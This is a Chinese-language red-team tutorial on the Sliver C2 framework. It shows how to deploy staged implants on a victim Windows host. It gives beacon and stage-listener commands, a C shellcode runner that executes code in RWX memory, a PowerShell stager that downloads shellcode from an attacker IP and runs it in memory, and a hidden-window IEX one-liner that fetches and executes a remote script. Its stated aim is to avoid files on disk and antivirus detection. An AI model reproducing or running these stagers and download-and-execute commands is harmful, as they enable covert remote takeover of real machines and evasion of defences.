Sliver C2简介

Sliver 是一个开源的跨平台对手仿真/红队框架。它的设计具有可扩展性,可供各种规模的组织用于执行安全测试。
Sliver 可与 Cobalt Strike 或 Metasploit 相媲美。
Stager 在Sliver C2中指分阶段执行器,其核心作用在于从C2服务器上下载Sliver Shellcode,再上线Sliver C2。使用到分阶段执行器优势有二,其一为上传的文件较小,相较于Sliver原生Implant有10+MB,Stager一般只有几KB大小,另一个就是通过Stager传输的Sliver Shellcode直接运行在内存中,避免文件落地,静态查杀。

运行

Sliver C2一般不使用多用户模式的话,直接运行Server即可。
Sliver-Server
image

Stager

由于直接生成的木马体积太大,传输上有时有问题,并且很容易被侦测,一般都使用stager,先上传小马,由小马自行与Sliver服务器通信下载大马上线。

Stager 工作方式是基于一个配置文件(profiles),其中记载了一个 Implant 的所有定义及配置信息,该配置文件通过profiles new 命令创建。

  1. 生成Profile并开启mtls监听
    generate beacon --mtls 10.10.14.7 --os windows --arch amd64 --format shellcode --seconds 5 --jitter 3
    image
    --seconds beacon与服务器的通信时间间隔
    --jitter beacon与服务器通信时间间隔随机变更加减时间
  2. 监听mtls
    mtls -l 8888
  3. 创建开启分阶段监听器,tcp,http都可以, 不同的监听器,上线时使用不同的payload
    stage-listener --url tcp://10.10.14.7:8443 --profile win64
    stage-listener --url http://10.10.14.7:8088 --profile win64
    image
  4. 生成一阶段木马,可以使用自带的generate或者使用msfvenom,格式可自行决定上线方式,这里分两种,一种使用C,编译成exe后,上传主机,上线,另一种,使用powershell
    • C语言上线:
      • generate stager -L 10.10.14.7 -l 8443 -f c
      • 替换生成的C语言代码
      #include "windows.h"
      
      int main()
      {
      	unsigned char shellcode[] =
      	"\xfc\x48\x83\xe4\xf0\xe8\xcc\x00\x00\x00\x41\x51\x41\x50"
      	"\x52\x51\x48\x31\xd2\x56\x65\x48\x8b\x52\x60\x48\x8b\x52"
         ....
      
      	void *exec = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
      	memcpy(exec, shellcode, sizeof shellcode);
      	((void(*)())exec)();
      
      	return 0;
      }
      
      • 编译
        x86_64-w64-mingw32-gcc -o runner.exe 1.c
      • 上传靶机,运行上线
        image
    • Powershell 上线:
      $Win32 = @"
      using System;
      using System.Runtime.InteropServices;
      public class Win32 {
      [DllImport("kernel32")]
      public static extern IntPtr VirtualAlloc(IntPtr lpAddress,
      	uint dwSize,
      	uint flAllocationType,
      	uint flProtect);
      [DllImport("kernel32", CharSet=CharSet.Ansi)]
      public static extern IntPtr CreateThread(
      	IntPtr lpThreadAttributes,
      	uint dwStackSize,
      	IntPtr lpStartAddress,
      	IntPtr lpParameter,
      	uint dwCreationFlags,
      	IntPtr lpThreadId);
      [DllImport("kernel32.dll", SetLastError=true)]
      public static extern UInt32 WaitForSingleObject(
      	IntPtr hHandle,
      	UInt32 dwMilliseconds);
      }
      "@
      Add-Type $Win32
      
      $shellcode = (New-Object System.Net.WebCLient).DownloadData("http://10.10.14.7:8088/fontawesome.woff") # 修改地址及端口即可,文件名无所谓
      if ($shellcode -eq $null) {Exit};
      $size = $shellcode.Length
      
      [IntPtr]$addr = [Win32]::VirtualAlloc(0,$size,0x1000,0x40);
      [System.Runtime.InteropServices.Marshal]::Copy($shellcode, 0, $addr, $size)
      $thandle=[Win32]::CreateThread(0,0,$addr,0,0,0);
      [Win32]::WaitForSingleObject($thandle, [uint32]"0xFFFFFFFF")
      
      • python 运行http服务,以让受害主机能下载ps1文件并运行
        python -m http.server 4000
      • 受害主机运行powershell命令上线
        c:\windows\SysNative\WindowsPowershell\v1.0\powershell.exe -nop -w hidden IEX(New-Object Net.WebClient).downloadString('http://10.10.14.7:4000/stager.ps1')
        image